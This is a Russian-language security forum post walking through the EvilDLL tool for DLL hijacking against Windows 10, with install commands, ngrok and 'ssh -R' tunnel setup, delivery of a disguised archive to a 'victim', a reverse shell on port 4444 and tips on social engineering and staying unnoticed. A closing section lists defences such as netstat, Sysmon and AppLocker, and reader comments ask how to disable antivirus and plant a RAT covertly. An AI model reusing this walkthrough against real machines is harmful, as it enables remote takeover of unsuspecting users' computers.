• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

EvilDLL и атака DLL Hijacking: Всё, что нужно знать о перехвате DLL

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 321
3 932
dll.png

Привет, Уважаемые Форумчане и Друзья! Сегодня мы окунемся в мир DLL Hijacking и рассмотрим любопытный инструмент под названием Evildll от Thelinuxchoice. Да, Microsoft уже который год пытается прикрутить гайки и бороться с этой заразой, но, как видите, новые лазейки и способы атак появляются регулярно. Не верите? Смотрите, как в 2025-м обнаружилась Уязвимость dMSA в Windows Server 2025 угрожает Active Directory — она тоже сводится к подмене DLL внутри AD. Здесь мы покажем один из таких "приветов" из прошлого, который, однако, все еще вполне актуален.

В двух словах о Dll Hijacking: это когда приложение .exe при запуске вместо легитимной библиотеки подгружает вредоносную DLL-ку. В итоге, можно получить что угодно — от создания дубликатов cmd с powershell и их скрытного вызова до полноценного reverse shell, который даст вам полный контроль над удаленной машиной. Звучит интригующе, правда?
Важное предупреждение: Вся информация, представленная здесь, предназначена исключительно для ознакомления и углубленного изучения проблем безопасности. Использование рассматриваемого инструмента в незаконных целях строго запрещено и преследуется по закону!

Установка Evildll: Готовимся к "Дьявольской" Работе

Код:
git clone https://github.com/thelinuxchoice/evildll.git
apt-get install mingw-w64
cd evildll/
chmod +x evildll.sh
bash evildll.sh
В моем Blackarch mingw-w64 уже был, так что обошлось без лишних телодвижений. А вот пользователям Kali Linux и других дистрибутивов, скорее всего, придется его установить.

evildll.png


Инструмент, признаюсь, с характером. Немало времени ушло на то, чтобы "договориться" с ним. Один из главных подводных камней — это authtoken для ngrok. При первом запуске Evildll сам ngrok подтянет, но токен потребует. Если authtoken не подходит или сервис ограничен, обратите внимание на альтернативы ngrok в 2025 году — это оставит цепочку гибкой даже в замкнутых сетях.

Я пытался закомментировать участок кода, отвечающий за проверку токена, но, увы, это может аукнуться проблемами с запуском listener. Так что лучше не лениться: либо регистрируйтесь на ngrok и получите свой токен, либо ищите, где его достать. Без него — никуда.
Как только ngrok появится в директории evildll, делаем его исполняемым и прописываем токен:
Код:
chmod +x ngrok
./ngrok authtoken значение_token
Кстати, если заглянуть в код evildll.sh, то там можно увидеть стандартный IP-адрес-заглушку. Я его сменил на 127.0.0.1 — хуже не стало, да и понятнее для локальных тестов.

evildll0.png

В бой: Атакуем Windows 10

Целимся, как и раньше, в бедную Windows 10. После запуска инструмента, если с токеном все хорошо, Evildll предложит два варианта атаки. Второй — для локальной сети или WAN, где вы задаете IP-адрес атакующего хоста и порт вручную.
При первом способе инструмент сгенерирует вам ссылку для ngrok и запустит сервер на порту 3333. Полученную ссылку вида 0.tcp.ngrok.io:порт маскируем (шифруем, прячем за короткой ссылкой) и отправляем "жертве".
Как альтернативу ngrok, можно использовать ssh -R в другом терминале:
Код:
ssh -R 80:localhost:3333 custom-subdomain@ssh.localhost.run
Это создаст две ссылки (http и https) и откроет доступ по ssh для скачивания сгенерированного архива. Их тоже можно завуалировать и отправить тестируемому субъекту.

Если нужны проверенные конфиги без ngrok, почитайте обсуждение альтернатив ngrok — там есть рабочие примеры.

Минус такого подхода с ngrok/ssh — порты часто назначаются произвольно, и это не всегда срабатывает. Но если все успешно, жертве сразу же предложат скачать и сохранить архив. Браузеры, конечно, могут немного поворчать про "редко загружаемый файл", но на этом обычно все.

evildll2.PNG


Evildll тут же радостно сообщит о переходе по ссылке и предложит активировать прослушиватель на 4444 порте.

evildll1.png


Ключевой момент: атакуемый субъект должен РАЗАРХИВИРОВАТЬ архив и только потом запустить приложение .exe. Если попытаться запустить его прямо из архива, получите ошибку, и ничего не выйдет.

evildll3.PNG


Сам момент запуска — буквально пара секунд мелькает окно, но именно в этот миг все и происходит, с правами пользователя, который запустил файл. Мне удалось запечатлеть этот "парасекундный момент"!

evildll4.PNG


У атакующего в этот момент уже есть данные и крепкая сессия.
Команды можно выполнять любые. Хоть папку lox на рабочем столе создавайте (у меня с русскоязычной символикой Blackarch пока не дружит, извините за иероглифы).

evildll6.png


Можно потрогать системные файлы, выполнять команды, копировать, удалять, запускать службы. Главное — не запускайте активные приложения, это явное самообнаружение. Представьте, если на чистом рабочем столе вдруг сам собой Skype запустится — подозрительно, не так ли?

evildll7.png


После успешной сессии все данные будут сохранены в файл saved в директории инструмента. Перед следующей атакой не забудьте удалить этот файл, а также архив с одноименным именем (.zip) и index.php — они сгенерируются заново.

Плюсы и Минусы Evildll: Честно и Откровенно

Я вам уже немного поныл про ngrok, теперь давайте разберем плюсы:
  1. Гибкость: Имя архива можно задать любое, исполняемый дефолтный .exe файл можно переименовать и засунуть обратно в архив. А при желании — даже свою иконку на него навесить.
  2. Социальная Инженерия (СИ): Тут открывается простор для фантазии! Можно пробросить архив с каким-нибудь "полезным" софтом, к нему — инструкцию по установке "патча" (на самом деле — вашего .exe), и вуаля!
  3. Устойчивость сессии: Это большой плюс. Неважно, что запускается или закрывается на хосте жертвы, пока он включен — сессия живет!
  4. Скрытность: После запуска приложения процесс сессии визуально скрыт. Это не панацея, но для быстрого взгляда — незаметно.
  5. Интеграция с Metasploit: Инструмент дает возможность использовать Metasploit, что расширяет арсенал атакующего.
  6. Дублирование cmd с reverse shell: Несмотря на то, что это не самый вредный процесс для атакующего, для жертвы это полный компромисс системы. Процесс вроде бы "обычный", но по факту — открытый канал к машине. Аналогичный эффект наблюдается при эксплуатации CVE-2023-1585/1587 в Avast, где DLL-гонка приводит к выполнению кода от SYSTEM.
evildll9.PNG

Защита: Как Не Попасться на Удочку

Перед тем как перейти к чек-листу, стоит усложнить жизнь анализаторам, применяя приёмы из статьи как усложнить анализ приложения.

Ну а теперь о главном — как от всего этого защититься. Опытные админы и пользователи могут сразу заподозрить неладное.
  1. Сетевой Мониторинг (netstat): Первым делом, конечно, netstat в cmd. Подозрительное соединение сразу бросится в глаза.
  2. Проверка Файловой Системы: Заходим на диск C и, о чудо, видим свежую папку dll, которой там быть не должно. Удаляем ее вместе со всем содержимым.
  3. Реестр: Обязательно проверяем ветки реестра на наличие аномальных записей, связанных с новыми DLL или путями запуска.
Для более серьезной защиты и обнаружения я бы порекомендовал взглянуть на следующее:
  • Sysmon: Этот инструмент от Microsoft Sysinternals просто незаменим. Он логирует создание процессов, загрузку DLL, сетевые подключения и много другое. Правильно настроенные правила Sysmon могут поймать DLL Hijacking на горячем.
  • Политики Безопасности: Используйте AppLocker или Windows Defender Application Control (WDAC). Эти политики позволяют контролировать, какие приложения и библиотеки могут запускаться в вашей системе. Белые списки — наше всё!
  • EDR-решения: Системы Endpoint Detection and Response (EDR) постоянно мониторят активность на конечных точках и могут обнаруживать аномальное поведение, указывающее на атаки типа DLL Hijacking.
  • Обновления: Ну и банальное, но крайне важное: регулярно обновляйте ОС и все программы. Microsoft постоянно закрывает известные уязвимости.
  • Обучение Пользователей: Самое слабое звено часто — это человек. Обучайте пользователей основам кибергигиены и социальной инженерии. Объясняйте, почему нельзя запускать файлы из непонятных архивов или по подозрительным ссылкам. А тем, кто хочет системно потренироваться в лабораторных условиях и научиться выявлять подобные цепочки от разведки до эксплуатации, пригодится практический трек «Pentest: от планирования до эксплуатации» на Специалист по тестированию на проникновение в информационные системы.
Чтобы понимать, где именно может просесть оборона Active Directory, полезно сверяться с топ-5 уязвостей Active Directory и разбором вектора атаки через ACL — так вы закроете дыры ещё до того, как злоумышленник подменит DLL.

На этом у меня пока все, друзья. Надеюсь, было познавательно! Благодарю за внимание и до новых встреч в киберпространстве!
А теперь вопрос к вам, Форумчане: какие еще необычные или малоизвестные методы обнаружения DLL Hijacking вы используете в своей практике? Поделитесь опытом, чтобы сделать нашу защиту еще крепче!
 
Последнее редактирование модератором:
Доброй ночи, спасибо вам большое.
А как можно избавиться от битой кодировки кириллицы?
 
  • Нравится
Реакции: Vertigo
А как можно избавиться от битой кодировки кириллицы?
Здесь нет ничего сложного.
Прямо на месте выполняем в cmd команду chcp 65001
evilddterm1.png
И можно видеть,что вывод приводится к приемлимому результату.
evildllterm2.png
Также это касается и сессии в Metasploit.
Многие терминалы в Linux позволяют выполнить настройку кодировки UTF-8
В панели set character Encoding-UTF-8
Часто приходится пользоваться всё же командой chcp и выбирать такие кодировки:
1251-кириллица Windows
65001-UTF-8
866-кодировка DOC
 
А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?
Заранее, спасибо.

И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?
 
А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?
Имея физический доступ только. Чудес не бывает.

И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?
Так и должно быть.
 
А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?
В этой полученной сессии такое провернуть крайне сложно будет,т.к. возникнут проблемы с эскалацией привилегий и сессия просто будет утеряна.
В Windows 10 избежать такого не получится,т.к. в этой ОС существуют защитные настройки,которые касаются команд из cmd,связанных с правами system к примеру.
Вы можете увидеть командой tasklist какие процессы занимает антивирус и догадаться что за антивирус,но если он с правами system,то убить процесс банально командой: taskkill id_процесса не получится.
А до прав system дотянуться без дополнительных действий непросто (без подключения Metasploit в работу,Netcat и т.п.)
Можно через cmd попытаться выполнить сложносочинённые команды для powerhell,чтобы затем сработало от того выполнение,но стоит ли оно того в случае с Rat-ником?
Их же сложно замаскировать.
И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?
Да всё так Вы делаете.Здесь вот как получилось-Defender считался сломаным и некорректно-рабочим до 17-го апреля 2020 года)
Что позволяло обходить ,или пренебрегать его защитой.
Microsoft срочно выпустила дополнение KB4549951 для Windows 10 и вроде подремонтировали защитника.
Так что ,своевременность-вещь та,которая дороже пунктуальности).
 
Здесь нет ничего сложного.
Прямо на месте выполняем в cmd команду chcp 65001
Посмотреть вложение 40459
И можно видеть,что вывод приводится к приемлимому результату.
Посмотреть вложение 40460
Также это касается и сессии в Metasploit.
Многие терминалы в Linux позволяют выполнить настройку кодировки UTF-8
В панели set character Encoding-UTF-8
Часто приходится пользоваться всё же командой chcp и выбирать такие кодировки:
1251-кириллица Windows
65001-UTF-8
866-кодировка DOC
Огромное спасибо)
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab